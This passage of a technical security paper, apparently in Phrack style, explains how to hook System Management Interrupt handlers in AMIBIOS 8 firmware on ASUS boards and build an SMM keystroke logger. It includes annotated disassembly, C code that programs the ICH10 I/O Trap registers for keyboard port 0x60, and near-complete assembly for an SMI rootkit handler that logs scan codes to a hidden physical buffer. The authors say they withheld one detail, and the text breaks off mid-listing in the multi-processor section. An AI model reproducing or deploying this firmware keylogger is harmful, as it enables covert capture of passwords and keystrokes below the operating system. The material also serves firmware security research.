 0007C060:  C0 BD 66 A8-C3 BD 66 A8-C4 BD 66 A8-F6 BD 66 A8  ._f.._f.._f.._f.
 0007C070:  24 53 4D 49-43 45 00 00-50 BF 66 A8-62 BF 66 A8  $SMICE  P.f.b.f.
 0007C080:  72 BF 66 A8-8B BF 66 A8-24 53 4D 49-46 45 00 00  r.f.<.f.$SMIFE
 0007C090:  70 D3 EA 47-7F D3 EA 47-17 C4 66 A8-0C D9 66 A8  p..G\177..G .f. .f.
 0007C0A0:  24 53 4D 49-49 4C 00 00-50 D9 66 A8-55 D9 66 A8  $SMIIL  P.f.U.f.
 0007C0B0:  5B D9 66 A8-61 D9 66 A8-24 53 4D 49-43 47 00 00  [.f.a.f.$SMICG
 0007C0C0:  B0 DA 66 A8-B6 DA 66 A8-EB DA 66 A8-17 DB 66 A8  ..f...f...f. .f.
 0007C0D0:  24 44 45 46-FF 00 01 00-84 E3 EA 47-87 E3 EA 47  $DEF.    "..G+..G
 0007C0E0:  86 E9 66 A8-91 E9 66 A8-00 00 00 01-00 00 00 00  +.f.’.f.
```

As a small exercise, download .ROM file for any ASUS EeePC netbook and find which SMI handlers are present in the EeePC BIOS.

Both tables have the last structure with ’$DEF’ signature which describes default SMI handler invoked when none of other handlers claimed ownership of current SMI. It does nothing more than simply clearing all SMI statuses.

From the above tables we can try to reconstruct contents of each table entry:

```
_smi_handler STRUCT
  signature             BYTE    ’$SMI’,?,?
  some_flags            WORD    0
  some_ptr0             DWORD   ?
  some_ptr1             DWORD   ?
  some_ptr2             DWORD   ?
  handle_smi_ptr        DWORD   ?
_smi_handler ENDS
```

Each SMI handler entry in SMI dispatch table starts with signature '$SMI' followed by 2 characters specific to SMI handler. Only entry for the default SMI handler starts with '$DEF' signature.

Each _smi_handler entry contains several pointers to SMI handler functions. The most important pointer occupies last 4 bytes, handle_smi_ptr. It points to the main handling function of the corresponding SMI handler.

--[2.5 - Disassembling "main" SMI dispatching function

A special SMI dispatch routine (let's name it "dispatch_smi") iterates through each SMI handler entry in the table and invokes its handle_smi_ptr. If none of the registered SMI handlers claimed ownership of the current SMI it invokes handle_smi_ptr routine of $DEF handler.

Below is a disassembly of Handle_SMI BIOS function in ASUS P5Q motherboard:

```
 0004AF71: 51                           push        cx
 0004AF72: 50                           push        ax
 0004AF73: 53                           push        bx
 0004AF74: 1E                           push        ds
 0004AF75: 06                           push        es
 0004AF76: 9A0101C8A8                   call        0A8C8:00101  ---X
 0004AF7B: 07                           pop         es
 0004AF7C: 1F                           pop         ds

 0004AF7D: C606670300                   mov         b,[0367],000

 0004AF82: 803E670301                   cmp         b,[0367],001 ;" "
 ; je _done_handling_smi
 0004AF87: 7438                         je          00004AFC1  --->  (1)

 ;
 ; load CX with number of supported SMI handlers
 ; done handling SMI if 0
 ;
 0004AF89: 8B0E6003                     mov         cx,[0360]
 ; jcxz _done_handling_smi
 0004AF8D: E332                         jcxz        00004AFC1  --->  (2)

 _iterate_thru_handlers:

 ;
 ; load GS with index of SMI handler table segment in GDT
 ; and decrement number of SMI handlers to try
 ;
 0004AF8F: 6828B4                       push        0B428 ;"_("
 0004AF92: 0FA9                         pop         gs
 0004AF94: 33FF                         xor         di,di

 ;
 ; handle next SMI
 ;
 _handle_next_smi:

 0004AF96: 49                           dec         cx

 ;
 ; check some_flags from current _smi_handler entry in the table
 ;
 0004AF97: 658B4506                     mov         ax,gs:[di][06]
 0004AF9B: 83E001                       and         ax,001 ;" "
 0004AF9E: 7413                         je          00004AFB3  --->  (3)

 0004AFA0: 51                           push        cx
 0004AFA1: 0FA8                         push        gs
 0004AFA3: 57                           push        di

 ;
 ; call SMI handler, handle_smi_ptr of the current
 ; _smi_handler entry in the dispatch table
 ;
 0004AFA4: 65FF5D14                     call        d,gs:[di][14]

 0004AFA8: 5F                           pop         di
 0004AFA9: 0FA9                         pop         gs
 0004AFAB: 59                           pop         cx

 ; jcxz _done_handling_smi
 0004AFAC: E313                         jcxz        00004AFC1  --->  (4)
 0004AFAE: 83F800                       cmp         ax,000
 0004AFB1: 7407                         je          00004AFBA  --->  (5)
 0004AFB3: BB1800                       mov         bx,00018 ;"  "
 0004AFB6: 03FB                         add         di,bx

 ;
 ; try next SMI handler entry
 ;
 0004AFB8: EBDC                         jmps        00004AF96  --->  (6)
                                                        ; _handle_next_smi

 0004AFBA: B80000                       mov         ax,00000
 0004AFBD: 0BC0                         or          ax,ax
 0004AFBF: 75C1                         jne         00004AF82  --->  (7)

 ;
 ; SMI either handled or corresponding handler was not found
 ; and default handler executed
 ;
 _done_handling_smi:

 0004AFC1: 5B                           pop         bx
 0004AFC2: 58                           pop         ax
 0004AFC3: 59                           pop         cx
 0004AFC4: 5F                           pop         di
 0004AFC5: 0FA9                         pop         gs
 0004AFC7: CB                           retf
```

--[2.6 - Hooking SMI handlers

Based on the above, there are several ways to hook SMI handlers to add a rootkit functionality: add a new SMI handler or patch one of the existing SMI handlers. While these two methods aren't significantly different, we consider both of them.

1. Adding your own SMI handler and a new entry to SMI dispatch table.

To add a new SMI handler we have to add a new entry to SMI dispatch table. Let's add entry with signature '$SMIaa' to the table just before the entry for the default SMI handler $DEF:

```
 00065E00:  A8 24 53 4D-49 61 61 00-00 AF E8 00-40 B2 E8 00  .$SMIaa  .. @_.
 00065E10:  40 9C B3 C8-A8 A7 B3 C8-A8 53 53 44-54 13 06 00  @___..._..SSDT
```

This entry contains pointers to default SMI handler functions that may be patched. Another method is to find a free space in SMRAM, put shellcode there and replace pointers to default SMI handler functions with pointers to SMI shellcode.

Additionally, SMI code saves number of active SMI handlers into a variable in SMRAM data segment that also should be incremented if a new SMI handler is injected.

2. Patching one of the existing SMI handlers.

Let’s describe patching existing SMI handler in more details.

Although all BIOS we analyzed are based on the same AMIBIOS 8 core, we found that number of $SMI entries in SMI handler tables vary depending on motherboard manufacturer and model, chipset manufacturer and model, and even on whether it’s mobile or server motherboard. SMI handlers typically serve as hardware management functions or workaround for hardware bugs. Different systems have different needs and therefore different types of SMI handlers are present in the BIOS firmware.

Interestingly, some of SMI handlers appear to exist in all BIOS based on AMIBIOS 8. Specifically handlers with the following entries in SMI dispatch table: $SMICA, $SMISS, $SMISI, $SMIX5, $SMIBP, $SMIED, $SMIFS, $SMIBS and obviously $DEF.

The first choice would be to replace one of the SMI handlers present in every BIOS based on AMIBIOS 8 core, such as $SMISS. BIOS for ASUS P5Q motherboard has $SMISS handler at 000490D3 offset of system BIOS code. Below is a snippet of $SMISS handler disassembly:

```
handle_smi_ss:

 000490D3: 0E                           push       cs
 000490D4: E8D8FF                       call       0000490AF  ---  (1)
 000490D7: B80100                       mov        ax,00001 ;"  "
 000490DA: 0F82F400                     jb         0000491D2  ---  (2)
 000490DE: B81034                       mov        ax,03410 ;"4 "

 ..

 000491CA: 9AFB00C8A8                   call       0A8C8:000FB  ---X
 000491CF: B80000                       mov        ax,00000
 000491D2: CB                           retf
```

After some time spent on reverse engineering this handler one should be able to recognize it as a code handling Sleep State requests. It turns out that replacing one of the existing SMI handlers may leave the system without important functionality or even make the system unstable.

Replacing default SMI handler ($DEF) may be possible if injected payload is designed to handle an SMI that isn’t supported by the current BIOS. In this case no existing SMI handler will claim the SMI and default handler will be executed.

Default handler is very basic and has very limited space so it may be better to find another victim handler that has more space, present in SMM of all BIOS firmware and doesn’t implement useful functionality.

Sounds impossible but.. ;) Let’s take a look at the SMI handler with signature $SMIED. This SMI handler handles software SMI generated by writing 0xDE value to APMC port 0xB2:

```
   _outpd( 0xb2, 0xDE );
```

It doesn’t seem to do anything meaningful but it exists and is the same in every BIOS we examined. The purpose of this SMI handler is not entirely clear. It seems to be used for debugging.

First of all, we need to find $SMIED handler routines in BIOS binary. SMI handlers are trivial to locate, if main routine is found for at least one SMI handler in the BIOS binary (remember handle_smi_ptr pointer in SMI_HANDLER structure).

Assume we know location of handle_smi_ss function of $SMISS SMI handler described above. This location is offset 0x000490D3 in the system BIOS binary.

The last 4 bytes of $SMISS entry in SMI dispatch table are "B5 85 C8 A8" which makes handle_smi_ptr = 0xA8C885B5. This is a linear address of the main function of $SMISS handler. The last 4 bytes of $SMIED entry in SMI dispatch table are "F2 A7 C8 A8" hence the handle_smi_ptr = 0xA8C8A7F2.

This is a linear address of the main function of $SMIED handler. Delta between these two linear addresses is 0x223D. By adding this delta to the offset of $SMISS SMI handler in the BIOS binary, one can calculate the offset of main function of $SMIED or any other SMI handler in the BIOS binary.

0x000490D3 + 0x223D = 0x0004B310

Any other SMI handler can be used instead of $SMISS, for example $DEF SMI handler which should be the same in all BIOS binaries.

Here’s the main function of $SMIED SMI handler:

```
 0004B2FD: 50                            push        ax
 0004B2FE: E8CCFD                        call        00004B0CD  --- > (1)
 0004B301: 720A                          jb          00004B30D  --- > (2)
 0004B303: 3CDE                          cmp         al,0DE
 0004B305: 7506                          jne         00004B30D  --- > (3)
 0004B307: E8E0FD                        call        00004B0EA  --- > (4)
 0004B30A: F8                            clc
 0004B30B: 58                            pop         ax
 0004B30C: CB                            retf
 0004B30D: F9                            stc
 0004B30E: 58                            pop         ax
 0004B30F: CB                            retf
```

handle_smi_ed:

```
 0004B310: 0E                            push        cs
 0004B311: E8E9FF                        call        00004B2FD  --- > (5)
 0004B314: B80100                        mov         ax,00001 ;"  "
 0004B317: 7245                          jb          00004B35E  --- > (6)
 0004B319: 6660                          pushad
 0004B31B: 1E                            push        ds
 0004B31C: 06                            push        es
 0004B31D: 680070                        push        07000 ;"p "
 0004B320: 1F                            pop         ds
 0004B321: 33FF                          xor         di,di
 0004B323: 6828B4                        push        0B428 ;"_("
 0004B326: 07                            pop         es
 0004B327: 33F6                          xor         si,si
 0004B329: 268B04                        mov         ax,es:[si]
 0004B32C: 8905                          mov         [di],ax
 0004B32E: 268B04                        mov         ax,es:[si]
 0004B331: 3D2444                        cmp         ax,04424 ;"D$"
 0004B334: 750C                          jne         00004B342  --- > (7)
 0004B336: BB0200                        mov         bx,00002 ;"  "
 0004B339: 268B4402                      mov         ax,es:[si][02]
 0004B33D: 3D4546                        cmp         ax,04645 ;"FE"
 0004B340: 7408                          je          00004B34A  --- > (8)
 0004B342: 83C602                        add         si,002 ;" "
 0004B345: 83C702                        add         di,002 ;" "
 0004B348: EBDF                          jmps        00004B329  --- > (9)
 0004B34A: 268B00                        mov         ax,es:[bx][si]
 0004B34D: 8901                          mov         [bx][di],ax
 0004B34F: 83C302                        add         bx,002 ;" "
 0004B352: 83FB0A                        cmp         bx,00A ;" "
 0004B355: 75F3                          jne         00004B34A  --- > (A)
 0004B357: 07                            pop         es
 0004B358: 1F                            pop         ds
 0004B359: 6661                          popad
 0004B35B: B80000                        mov         ax,00000
 0004B35E: CB                            retf
```

The only thing above "debug" SMI handler does is it simply copies the entire SMI dispatch table from 0x0B428:[si] to 0x07000:[di].

So it seems logical and safe to patch this handler routine with our own SMI shellcode. The SMI shellcode may be different depending on the purpose. We inject SMI keystroke logger similarly to [smm_rkt].

Before we jump to details of SMI keystroke logger handler implementation let’s discuss methods tha can be used to invoke this SMI keylogger handler when keys are pressed on a keyboard.

1. Routing keyboard hardware interrupt (IRQ #01) to SMI using I/O APIC

Authors of [smm_rkt] used I/O Advanced Programmable Interrupt Controller (I/O APIC) to redirect keyboard controller hardware interrupt IRQ #01 to SMI and capture keystrokes inside hooked SMI handler.

For details of using this method please refer to [smm_rkt]. For details on I/O and Local APIC programming, please refer to Chapter 8 of Intel(r) IA-32 Architecture Software Developer’s Manual [intel_man] or search for "APIC programming".

2. I/O Trap on access to keyboard controller data port 0x60

We initially started to use entirely different technique to intercept pressed keys in SMI - I/O Trap. It should be noted that this method is traditionally used in the BIOS to emulate legacy PS/2 keyboard. Let’s describe this method in greater details in the next section.

--[3 - SMM KEYLOGGER

--[3.1 - Hardware I/O Trap mechanism

One of the ways to implement OS kernel keystroke logger is to hook debug trap handler #DB in Interrupt Descriptor Table (IDT) and program hardware debug registers DR0-DR3 to trap on access to keyboard controller data port 0x60.

There has to be similar way to trap into SMI upon access to keyboard I/O ports. And, miraculously, there is one - I/O ports 60/64 emulation for the USB keyboard. For instance, let’s consult to whitepaper describing USB support for AMI BIOS [ami_usb]. There we can find the following quote:

[snip]

2.5.4 Port 64/60 Emulation
This option enables/disables the "Port 60h/64h" trapping option. Port 60h/64h trapping allows the BIOS to provide full PS/2 based legacy support for the USB keyboard and mouse. This option is useful for Microsoft Windows NT Operating System and for multi-language keyboards. Also this option provides the PS/2 functionalities like keyboard lock, password

setting, scan code selection etc to USB keyboards.

[/snip]

So to use it for "other" purposes we need to understand what mechanism this feature is built upon. The mechanism should be supported by hardware so we need to search CPU and chipset specifications. The underlying mechanism is supported by both Intel and AMD processors and is referred to as "I/O Trap". AMD manual has a section "SMM I/O Trap and I/O Restart" [amd_man]. Intel manual describes it in sections "I/O State Implementation" and "I/O INSTRUCTION RESTART" [intel_man].

I/O Trap feature allows SMI trapping on access to any I/O port using IN or OUT instructions and executing specific SMI handler. Reasoning behind this feature is to power on some device being accessed via some I/O port if it’s powered off. Apparently, I/O Trap is also used for other features like emulating 60h/64h keyboard ports in SMI handler for the USB keyboard.

So I/O Trap method is similar to debug trap mentioned above, it traps on access to I/O ports, but instead of invoking debug trap handler in OS kernel, it generates an SMI interrupt and CPU enters SMM and executes I/O Trap SMI handler.

When processor traps I/O instruction and enters SMM mode, it saves all information about trapped I/O instruction in SMM Save State Map in the field "I/O State Field" at 0x8000 + 0x7FA4 offset from SMBASE. Below we provide contents of this field that our keylogger will later need to check:

```
I/O State Field (SMBASE + 0x8000 + 0x7FA4):
+----------+----------+----------+------------+--------+
| 31    16 | 15     8 | 7      4 | 3        1 | 0      |
+----------+----------+----------+------------+--------+
| I/O Port | Reserved | I/O Type | I/O Length | IO_SMI |
+----------+----------+----------+------------+--------+
```

- If set, IO_SMI (bit 0) indicates that this is a I/O Trap SMI.
- I/O Length (bits [1:3]) indicates if I/O access was byte (001b), word (010b) or dword (100b).
- I/O Type (bits [4:7]) indicate type of I/O instruction, "IN imm" (1001b), "IN DX" (0001b), etc.
- I/O Port (bits [16:31]) contain I/O port number that has been accessed.

As we will see in the next section, SMI keylogger will need to update saved EAX field in SMM Save State Map if this is IO_SMI, access to port 0x60 is byte-wide and done via IN DX instruction. Specifically, SMI keylogger checks if I/O State field at 0x7FA4 offset has value 0x00600013:

```
mov esi, SMBASE
mov ecx, dword ptr fs:[esi + 0xFFA4]
cmp ecx, 0x00600013
jnz _not_io_smi
```

Above check is simplified. SMI keylogger has to check other values of I/O Type and I/O Length bits in I/O State Field.

(*) Remark: for a keylogger purposes, we are only interested in I/O Trap, but not in I/O Restart. For the sake of completeness, I/O Restart allows IN or OUT instruction, that was interrupted by SMI, to be re-executed (or "restarted") after resuming from SMM mode.

It is possible to program I/O Trap on read or write to any I/O port which allows anyone to implement SMI handlers that will be invoked on variety of interactions between software and hardware devices. We are currently interested in trapping read access to keyboard controller data port 0x60.

Let’s describe details of how I/O trapping of key pressed on a keyboard works:

1. When key is pressed, keyboard controller signals a hardware interrupt

[..Here redirection of IRQ 1 to SMI by I/O APIC would take place..]

2. After receiving hardware keyboard interrupt, APIC invokes keyboard interrupt handler routine in IDT (0x93 for PS/2 keyboard)

3. At some point keyboard interrupt handler needs to read a scan code from keyboard controller buffer using data port 0x60

[..In a clean system keyboard interrupt handler would decode scan code and display it on a screen or handle it normally, but in the hooked system..]

4. Chipset traps read to port 0x60 and signals an I/O Trap SMI

5. In SMM, keystroke logger SMI handler claims ownership of and handles this I/O Trap SMI

6. Upon exit from SMM, keystroke logger SMI handler returns result of port 0x60 read (current scan code) to keyboard interrupt handler in kernel for further processing

We described all steps up to the last, step 6, where SMI keylogger returns intercepted data to the OS keyboard interrupt handler. Returning intercepted scan code is different in SMM keylogger using I/O Trap method than in SMM keylogger using I/O APIC. If APIC is used to trigger SMI (as in [smm_rkt]), SMI keylogger has to re-inject intercepted scan code because it has to be later read by OS keyboard interrupt handler.

On the other side, SMM keylogger that uses I/O Trap method to intercept keystrokes traps "IN al, 0x60" instruction executed by OS keyboard interrupt handler. This IN instruction cannot be restarted upon resuming from SMM as it would cause an infinite loop of SMI traps. Instead, SMI handler has to return result of IN instruction in AL/AX/EAX register as if IN instruction wasn’t trapped at all.

EAX register is saved in SMM Save State Map in SMRAM at an offset 0x7FD0 from SMBASE + 0x8000 in IA-32 [intel_man] or at an offset 0x7F5C in IA-64. So to return correct result of IN instruction our SMI keylogger will need to update EAX field with scan code read from port 0x60. Obviously, it should update EAX only in case if SMI# is IO_SMI as described above in this section.

Let’s modify the above snippet and add the code updating EAX:

```
;
; verify that this is IO_SMI due to read to 0x60 port
; then update EAX in SMM state save area (SMBASE + 0x8000 + 0x7FD0)
;
mov esi, SMBASE
mov ecx, dword ptr fs:[esi + 0xFFA4]
cmp ecx, 0x00600013
jnz _not_io_smi
mov byte ptr fs:[esi + 0xFFD0], al
_not_io_smi:
; skip this SMI#
```

For the sake of completeness, below we provide a snippet that re-injects scan code into keyboard controller buffer which would be used by SMM keylogger based on IRQ1 to SMI# APIC redirection:

```
; read scan code from keyboard controller buffer
in al, 0x60
push ax
```

```
; write command byte 0xD2 to command port 0x64
; to re-inject intercepted scan code into keyboard controller buffer
; so that OS keyboard interrupt can read and display it later
mov al, 0xd2
out 0x64, al
; wait until keyboard controller is ready to read
_wait:
in al, 0x64
test al, 0x2
jnz _wait
; re-inject scan code
pop ax
out 0x60, al
```

We described all steps of I/O Trap feature. The next section describes how I/O Trap feature can be enabled for SMI keystroke logger to work.

--[3.2 - Programming I/O Trap to capture keystrokes

To enable and program I/O Trap mechanism we need to consult with chipset specifications. For example, Intel(r) I/O Controller Hub 10 (ICH10) Family datasheet [ich] specifies 4 registers IOTR0 - IOTR3 that can provide capability to trap access to I/O ports.

```
IOTRn - I/O Trap Register (0-3)
Offset Address: 1E80-1E87h Register 0   Attribute: R/W
                1E88-1E8Fh Register 1
                1E90-1E97h Register 2
                1E98-1E9Fh Register 3
```

"These registers are used to specify the set of I/O cycles to be trapped and to enable this functionality."

All I/O Trap registers are located in Root Complex Base Address Register (RCBA) space in ICH. Please refer to sections 10.1.46-49 of [ich] for details of I/O Trap registers.

- I/O Trap 0-3 (IOTRn) registers are at the offsets 0x1E80 through 0x1E9F from RCBA.
- Trap Status Register (TRST) is at offset 1E00h from RCBA. Contains 4 status bits indicating that access was trapped by one of IOTRn traps.
- Trapped Cycle Register (TRCR) is at offset 1E10h from RCBA. This register contains data written to trapped I/O port. It’s not used when trapping read cycles.

RCBA value can be read from ICH PCI configuration register B:D:F = 0:31:0, offset 0xF0.

```
   //
   // Read the Root Complex Base Address Register (RCBA)
   //

   // LPC device in ICH, B:D:F = 0:31:0
   lpc_rcba_addr = pci_addr( 0, 31, 0, LPC_RCBA_REG );
   _outpd( 0xcf8, lpc_rcba_addr );
   rcba_reg = _inpd( 0xcfc );
   pa.LowPart = rcba_reg & 0xffffc000;

   // 0x2000 is enough to access I/O Trap range
   rcba = MmMapIoSpace( pa, 0x2000, MmCached );
```

Each IOTRn register contains the following important bits that we’ll need to use:

```
Bit 0        Trap and SMI# Enable (TRSE)
             0 = Trapping and SMI# logic disabled.
             1 = The trapping logic specified in this register is enabled.
..
Bits 15:2    I/O Address[15:2] (IOAD)
             dword-aligned address
..
Bits 35:32 Byte Enables (TBE)
             Active-high dword-aligned byte enables.
..
Bit 48       Read/Write# (RWIO)
             0 = Write
             1 = Read
             NOTE: The value in this field does not matter if bit 49 is set.
```

To enable trapping read accesses to keyboard controller data port 0x60 one of IOTRn registers (for example, IOTR0) have to be programmed as follows:

- lower DWORD of IOTR0 should be programmed to value 0x61 (IOAD = 0x60, TRSE = 1)
- higher DWORD of IOTR0 should be programmed to value 0x100f0 (TBE = 0xf, RWIO = 1)

A snippet of code that programs IOTR0 looks as follows:

```
   //
   // Program I/O Trap to trap on every read from
   // keyboard controller data port 0x60
   //

   pIOTR0_LO = (DWORD *)(rcba + RCBA_IOTR0_LO);
   pIOTR0_HI = (DWORD *)(rcba + RCBA_IOTR0_HI);

   // trap on port read + all byte enables
   *(DWORD*)pIOTR0_HI = 0x100f0;
   // keyboard controller port 0x60 + 1 enable I/O Trap
   *(DWORD*)pIOTR0_LO = 0x61;
```

For a complete source code please refer to the end of the paper.

In the next section we will describe full implementation of I/O Trap SMI handler used to trap on keyboard interrupts.

Here we need to note the following. I/O Trap SMI handler needs to disable I/O Trap at the beginning of SMI handler and re-enable I/O Trap upon resuming from SMM. I/O Trap SMI handler should include these instructions:

```
; I/O Trap Register 0 = RCBA + 1E80h
IO_TRAP_IOTR0_REG        equ     FED1DE80h

mov edx, IO_TRAP_IOTR0_REG
mov dword ptr [edx], 0

; handle I/O Trap SMI

mov edx, IO_TRAP_IOTR0_REG
mov eax, 0x61
mov dword ptr [edx], eax
```

The above code first disables SMI I/O Trap by writing 0 to FED1DE80h MMIO address (I/O Trap Register 0 = RCBA + 1E80h) and then after handling SMI, writes 0x61 value to this register to re-enable I/O trap on read access to port 0x60.

At this point we should have everything we need to modify SMI handler and add a keystroke logger payload into SMM.

--[3.3 - System Management Mode keylogger

First thing to understand about SMI based keylogger is that it executes in the specific environment set up by BIOS and SMI code. Despite that the keylogger has similarities with kernel keylogger, it has a lot of SMI specifics.

We tested described keylogger mechanism with only PS/2 keyboards.

We'll be designing SMI keylogger to directly query keyboard controller data port 0x60 and read scan codes sent as interrupts when user presses or releases any key on a keyboard.

Keyloggers that directly read port 0x60 typically need to re-inject read scan code back to keyboard controller buffer using the same data port 0x60 such that software up in the stack can read and process this scan code without noticing that it was intercepted by the keylogger.

In this paper we use I/O Trap mechanism to trigger SMI keylogger payload. I/O Trap mechanism does not require re-injecting scan codes. This will be explained later. Furthermore, keylogger will not work if it re-injects scan code.

Below we provide an assembly of SMI keystroke logger payload based on I/O Trap method. It reads scan codes and dumps them to some physical address from where they can be extracted later. A complete code of SMI handler implementing I/O Trap based SMI keylogger will be provided in the next section.

```
pusha

;
; verify that this is IO_SMI due to read to 0x60 port
;
mov esi, SMBASE
mov ecx, dword ptr [esi + 0xFFA4]
cmp ecx, 0x00600013
jnz _not_io_smi

;
; read scan code from keyboard controller port 0x60
;
xor ax, ax
in al, 60h

;
; log intercepted scan code (to LOG_BUFFER_PHYS_ADDR physical address)
; the first dword is a number of scan code bytes saved in the buffer
;
mov edi, DST_BUF_PHYSADDR
mov ecx, dword ptr [edi]
push edi
lea edi, dword ptr [edi + ecx + 4]
mov byte ptr [edi], al

;
; increment number of scan code bytes saved in the buffer
;
inc ecx
pop edi
mov dword ptr [edi], ecx

;
; update EAX field in SMM state save map (SMBASE + 0x8000 + SMM_MAP_EAX)
; with scan code to be returned as a result of trapped IN instruction
```

```
;
mov byte ptr [esi + 0xFFD0], al

_not_io_smi:

popa
```

The next section provides full description of SMI handler that implements functions of SMM keylogger based on I/O Trap keystroke interception method.

--[3.4 - I/O Trap based keystroke logger SMI handler

From the description in the previous sections I/O Trap method works like this:

1. CPU issues read or write to some I/O port.

2. Chipset traps this access, decodes port number and width, read vs. write access and consults to I/O Trap registers programmed by kernel mode software.

3. If I/O port access corresponds to programmed in I/O Trap registers, chipset asserts SMI# of the CPU.

4. CPU enters System Management Mode an jumps to SMI handler that claims ownership of I/O Trap SMI.

The way to use I/O Trap mechanism to log keystrokes entered on target system is to program chipset to trap on read to keyboard controller data port 0x60 and issue SMI# which will invoke SMI handler that will log scan code read from port 0x60.

Once invoked, after read to port 0x60 was trapped, SMI keylogger should take the following actions:

1. Determine if SMI is due to an I/O Trap on read access to keyboard controller port.

2. Clear I/O Trap status bit in TRST MMIO register at address 0xFED1DE00.

3. Temporarily disable I/O Trap by clearing IOTRn register at 0xFED1DE80, because later it will need to read from the trapped port.

4. Check in TRCR MMIO register at 0xFED1DE10 whether read or write to port was trapped.

5. Read scan code from keyboard controller port 0x60 and store it somewhere in the keystroke log buffer to extract later or transmit it over the network.

4. Update saved EAX register in SMM state save area with read scan code such that when SMI resumes to protected mode, correct scan code is returned to interrupted instructions in kernel keyboard interrupt handler routine.

5. Re-enable I/O Trap on read access to keyboard controller port 0x60 by writing 0x61 to IOTRn register to enable trapping for the next keystroke after resuming from SMM to normal OS execution.

6. Return from SMI handler code indicating to main SMI dispatch function that SMI was claimed and handled.

```
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
```

```
;;
;; I/O Trap based SMI keystroke logger
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;
; I/O Trap registers in Root Complex Base Address (RCBA)
;
IO_TRAP_IOTR0_REG        equ FED1DE80h ; I/O Trap Register 0 = RCBA + 1E80h
IO_TRAP_TRSR_REG         equ FED1DE00h ; Trap Status Register = RCBA + 1E00h
IO_TRAP_TRCR_REG         equ FED1DE10h ; Trapped Cycle Register = RCBA + 1E10h

KBRD_DATA_PORT           equ 60h

DST_BUF_PHYSADDR         equ 20000h    ; any physical address read later
SEG_4G                   equ ?         ; depends on BIOS

;
; IO_SMI bit, I/O Port = 0x60
; I/O Type = IN DX
; I/O Length = 1
; should all be checked separately
;
IOSMI_IN_60_BYTE         equ 00600013h

;
; SMM Save State Map fields
;
SMM_MAP_IO_STATE_INFO    equ FFA4h
SMM_MAP_EAX              equ FFD0h

;
; we need to load DS with index of 4G 0-based data segment in GDT
; to be able to access any MMIO
; or physical addresses for logging scan codes
;
push ds
push SEG_4G
pop ds

;
; clear I/O Trap status bit
;
mov eax, IO_TRAP_TRSR_REG
mov dword ptr [eax], 1

;
; check TRCR if it’s IO read or write
; we trap only reads here
;
mov eax, IO_TRAP_TRCR_REG
mov ebx, dword ptr [eax]
bswap ebx
and bh, 0xf
and bl, 0x1
jz _smi_handled

;
; temporarily disable I/O Trap
;
mov eax, IO_TRAP_IOTR0_REG
mov dword ptr [eax], 0

;;;;;;;;;;;
; keystroke logging goes here
;;;;;;;;;;;

pusha
```

```
;
; verify that this is IO_SMI due to read to 0x60 port
;
mov esi, SMBASE
mov ecx, dword ptr [esi + SMM_MAP_IO_STATE_INFO]
cmp ecx, IOSMI_IN_60_BYTE
jnz _not_io_smi

;
; read scan code from keyboard controller port 0x60
;
xor ax, ax
in al, KBRD_DATA_PORT

;
; log intercepted scan code (to LOG_BUFFER_PHYS_ADDR physical address)
; the first dword is a number of scan code bytes saved in the buffer
;
mov edi, DST_BUF_PHYSADDR
mov ecx, dword ptr [edi]
push edi
lea edi, dword ptr [edi + ecx + 4]
mov byte ptr [edi], al

;
; increment number of scan code bytes saved in the buffer
;
inc ecx
pop edi
mov dword ptr [edi], ecx

;
; update EAX field in SMM state save map (SMBASE + 0x8000 + SMM_MAP_EAX)
; with scan code to be returned as a result of trapped IN instruction
;
mov byte ptr [esi + SMM_MAP_EAX], al

_not_io_smi:

popa

;;;;;;;;;;;

;
; re-enable I/O Trap on read from port 0x60
;
mov eax, IO_TRAP_IOTR0_REG
mov ebx, KBRD_DATA_PORT+1
mov dword ptr [eax], ebx

;
; return 0 indicating that SMI was handled
;
_smi_handled:

pop ds
mov eax, 0
retf
```

Above listing intentionally lacks one detail needed for this SMI handler
to function correctly in ASUS/AMI BIOS to prevent from copy-pasting it.
A bit more debugging should be sufficient to figure it out.

--[3.5 - Multi-processor keylogger specifics

We’ve seen in the previous section that I/O Trap based SMM keylogger has
to update saved EAX (RAX) register in SMM Save State Map so that the
processor could return it as a result of trapped IN instruction.

In case of multi processor system multiple logical processors may enter
SMM at the same time so they need their own SMM Save State Map allocated
in SMRAM. This is typically solved by setting SMRAM base address (SMBASE)
to a different value for each processor by the BIOS firmware (this is
referred to as "SMBASE relocation").

For example, in dual processor system, one logical processor may have
SMBASE = SMBASE0 and another processor may have SMBASE = SMBASE0 + 0x300.
In this case, the first processor starts executing SMI handler code at
EIP = SMBASE0 + 0x8000 and the second at EIP = SMBASE0 + 0x8000 + 0x300.
SMM Save State Map areas for both processors will start at
(SMBASE0 + 0x8000 + 0x7F00) and (SMBASE0 + 0x8000 + 0x7F00 + 0x300).

The following simple diagram illustrates SMRAM layout for 2 processors:

```
+ Processor 0 ---------------------------+ Processor 1 ---------------------------+
|                                        |                                        |
|                                        + SMBASE + 0xFFFF + 0x300 ---------------+
|                                        |///////// SMM Save Sate area ///////////|
|                                        + SMBASE + 0xFF00 + 0x300 ---------------+
+ SMBASE + 0xFFFF -----------------------+                                        |
|///////// SMM Save Sate area ///////////|                                        |
+ SMBASE + 0xFF00 -----------------------+                                        |
|                                        |                                        |
|                                        |                                        |
|                                        |        SMI Handler entry point         |
|                                        + SMBASE + 0x8000 + 0x300 ---------------+
|                                        |                                        |
|        SMI Handler entry point         |                                        |
+ SMBASE + 0x8000 -----------------------+                                        |
|                                        |                                        |
|                                        |                                        |
|                                        |                                        |
|                                        |               SMRAM start              |
+                                        + SMBASE + 0x300 ------------------------+
|                                        |                                        |
|               SMRAM start              |                                        |
+ SMBASE --------------------------------+----------------------------------------+
```

Instead of 0x300, BIOS may choose any offset to use to increment SMBASE
for all processors. There is an easy way to determine it. SMM Save State
Map should contain SMM Revision Identifier Field at 0x7EFC offset of
SMBASE+0x8000 which should have the same value for each processor that
entered SMM. For example, SMM Revision ID may be 0x30100. SMI handler can
search for the same value of SMM Revision ID in SMRAM. An address of the
next SMM Revision ID field minus address of the current SMM Revision ID
field gives the offset that should be added to SMBASE to calculate SMBASE
of the next processor.

Below we demonstrate how SMM keylogger handler provided in the previous
section could have been modified to support dual processor. The code below
checks if I/O State Field has value matching to the correct I/O Trap for
each processor and, if so, updates EAX of this processor in SMM Save State
Map:

```
;
; update saved EAX registers in SMM state save maps of 2 processors
;
mov esi, SMBASE
